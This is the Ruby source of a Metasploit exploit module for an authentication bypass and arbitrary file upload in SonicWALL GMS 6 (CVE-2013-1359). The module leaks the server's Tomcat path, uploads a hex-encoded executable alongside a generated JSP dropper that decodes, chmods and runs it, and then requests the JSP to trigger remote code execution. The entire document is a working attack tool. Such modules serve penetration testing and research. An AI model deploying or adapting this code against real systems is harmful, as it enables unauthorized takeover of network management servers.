SonicWALL GMS 6 Arbitrary File Upload

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'SonicWALL GMS 6 Arbitrary File Upload',  
'Description' => %q{  
This module exploits a code execution flaw in SonicWALL GMS. It exploits two  
vulnerabilities in order to get its objective. An authentication bypass in the  
Web Administration interface allows to abuse the "appliance" application and upload  
an arbitrary payload embedded in a JSP. The module has been tested successfully on  
SonicWALL GMS 6.0.6017 over Windows 2003 SP2 and SonicWALL GMS 6.0.6022 Virtual  
Appliance (Linux). On the Virtual Appliance the linux meterpreter hasn't run  
successfully while testing, shell payload have been used.  
},  
'Author' =>  
[  
'Nikolas Sotiriu', # Vulnerability Discovery  
'Julian Vilas <julian.vilas[at]gmail.com>', # Metasploit module  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2013-1359'],  
[ 'OSVDB', '89347' ],  
[ 'BID', '57445' ],  
[ 'EDB', '24204' ]  
],  
'Privileged' => true,  
'Platform' => [ 'win', 'linux' ],  
'Targets' =>  
[  
[ 'SonicWALL GMS 6.0 Viewpoint / Windows 2003 SP2',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'win'  
}  
],  
[ 'SonicWALL GMS Viewpoint 6.0 Virtual Appliance (Linux)',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'linux'  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jan 17 2012'))  
  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('TARGETURI', [true, 'Path to SonicWall GMS', '/'])  
], self.class)  
end  
  
  
def on_new_session  
# on_new_session will force stdapi to load (for Linux meterpreter)  
end  
  
  
def generate_jsp  
var_hexpath = Rex::Text.rand_text_alpha(rand(8)+8)  
var_exepath = Rex::Text.rand_text_alpha(rand(8)+8)  
var_data = Rex::Text.rand_text_alpha(rand(8)+8)  
var_inputstream = Rex::Text.rand_text_alpha(rand(8)+8)  
var_outputstream = Rex::Text.rand_text_alpha(rand(8)+8)  
var_numbytes = Rex::Text.rand_text_alpha(rand(8)+8)  
var_bytearray = Rex::Text.rand_text_alpha(rand(8)+8)  
var_bytes = Rex::Text.rand_text_alpha(rand(8)+8)  
var_counter = Rex::Text.rand_text_alpha(rand(8)+8)  
var_char1 = Rex::Text.rand_text_alpha(rand(8)+8)  
var_char2 = Rex::Text.rand_text_alpha(rand(8)+8)  
var_comb = Rex::Text.rand_text_alpha(rand(8)+8)  
var_exe = Rex::Text.rand_text_alpha(rand(8)+8)  
@var_hexfile = Rex::Text.rand_text_alpha(rand(8)+8)  
var_proc = Rex::Text.rand_text_alpha(rand(8)+8)  
var_fperm = Rex::Text.rand_text_alpha(rand(8)+8)  
var_fdel = Rex::Text.rand_text_alpha(rand(8)+8)  
  
jspraw = "<%@ page import=\"java.io.*\" %>\n"  
jspraw << "<%\n"  
jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"/#{@var_hexfile}.txt\";\n"  
jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n"  
jspraw << "String #{var_data} = \"\";\n"  
  
jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n"  
jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n"  
jspraw << "}\n"  
  
jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n"  
jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n"  
  
jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n"  
jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n"  
jspraw << "#{var_inputstream}.read(#{var_bytearray});\n"  
jspraw << "#{var_inputstream}.close();\n"  
  
jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n"  
jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n"  
jspraw << "{\n"  
jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n"  
jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n"  
jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n"  
jspraw << "#{var_comb} <<= 4;\n"  
jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n"  
jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n"  
jspraw << "}\n"  
  
jspraw << "#{var_outputstream}.write(#{var_bytes});\n"  
jspraw << "#{var_outputstream}.close();\n"  
  
jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") == -1){\n"  
jspraw << "String[] #{var_fperm} = new String[3];\n"  
jspraw << "#{var_fperm}[0] = \"chmod\";\n"  
jspraw << "#{var_fperm}[1] = \"+x\";\n"  
jspraw << "#{var_fperm}[2] = #{var_exepath};\n"  
jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_fperm});\n"  
jspraw << "if (#{var_proc}.waitFor() == 0) {\n"  
jspraw << "#{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"  
jspraw << "}\n"  
# Linux and other UNICES allow removing files while they are in use...  
jspraw << "File #{var_fdel} = new File(#{var_exepath}); #{var_fdel}.delete();\n"  
jspraw << "} else {\n"  
# Windows does not ..  
jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"  
jspraw << "}\n"  
  
jspraw << "%>\n"  
return jspraw  
end  
  
def get_install_path  
res = send_request_cgi(  
{  
'uri' => "#{@uri}appliance/applianceMainPage?skipSessionCheck=1",  
'method' => 'POST',  
'connection' => 'TE, close',  
'headers' =>  
{  
'TE' => "deflate,gzip;q=0.3",  
},  
'vars_post' => {  
'num' => '123456',  
'action' => 'show_diagnostics',  
'task' => 'search',  
'item' => 'application_log',  
'criteria' => '*.*',  
'width' => '500'  
}  
})  
  
if res and res.code == 200 and res.body =~ /VALUE="(.*)logs/  
return $1  
end  
  
return nil  
end  
  
def upload_file(location, filename, contents)  
post_data = Rex::MIME::Message.new  
post_data.add_part("file_system", nil, nil, "form-data; name=\"action\"")  
post_data.add_part("uploadFile", nil, nil, "form-data; name=\"task\"")  
post_data.add_part(location, nil, nil, "form-data; name=\"searchFolder\"")  
post_data.add_part(contents, "application/octet-stream", nil, "form-data; name=\"uploadFilename\"; filename=\"#{filename}\"")  
  
data = post_data.to_s  
data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")  
  
res = send_request_cgi(  
{  
'uri' => "#{@uri}appliance/applianceMainPage?skipSessionCheck=1",  
'method' => 'POST',  
'data' => data,  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'headers' =>  
{  
'TE' => "deflate,gzip;q=0.3",  
},  
'connection' => 'TE, close'  
})  
  
if res and res.code == 200 and res.body.empty?  
return true  
else  
return false  
end  
end  
  
def check  
@peer = "#{rhost}:#{rport}"  
@uri = normalize_uri(target_uri.path)  
@uri << '/' if @uri[-1,1] != '/'  
  
if get_install_path.nil?  
return Exploit::CheckCode::Safe  
end  
  
return Exploit::CheckCode::Vulnerable  
end  
  
def exploit  
@peer = "#{rhost}:#{rport}"  
@uri = normalize_uri(target_uri.path)  
@uri << '/' if @uri[-1,1] != '/'  
  
# Get Tomcat installation path  
print_status("#{@peer} - Retrieving Tomcat installation path...")  
install_path = get_install_path  
  
if install_path.nil?  
fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Unable to retrieve the Tomcat installation path")  
end  
  
print_good("#{@peer} - Tomcat installed on #{install_path}")  
  
if target['Platform'] == "linux"  
@location = "#{install_path}webapps/appliance/"  
elsif target['Platform'] == "win"  
@location = "#{install_path}webapps\\appliance\\"  
end  
  
  
# Upload the JSP and the raw payload  
@jsp_name = rand_text_alphanumeric(8+rand(8))  
  
jspraw = generate_jsp  
  
# Specify the payload in hex as an extra file..  
payload_hex = payload.encoded_exe.unpack('H*')[0]  
  
print_status("#{@peer} - Uploading the payload")  
  
if upload_file(@location, "#{@var_hexfile}.txt", payload_hex)  
print_good("#{@peer} - Payload successfully uploaded to #{@location}#{@var_hexfile}.txt")  
else  
fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Error uploading the Payload")  
end  
  
print_status("#{@peer} - Uploading the payload")  
  
if upload_file(@location, "#{@jsp_name}.jsp", jspraw)  
print_good("#{@peer} - JSP successfully uploaded to #{@location}#{@jsp_name}.jsp")  
else  
fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Error uploading the jsp")  
end  
  
print_status("Triggering payload at '#{@uri}#{@jsp_name}.jsp' ...")  
res = send_request_cgi(  
{  
'uri' => "#{@uri}appliance/#{@jsp_name}.jsp",  
'method' => 'GET'  
})  
  
if res and res.code != 200  
print_warning("#{@peer} - Error triggering the payload")  
end  
  
register_files_for_cleanup("#{@location}#{@var_hexfile}.txt")  
register_files_for_cleanup("#{@location}#{@jsp_name}.jsp")  
end  
  
end  
`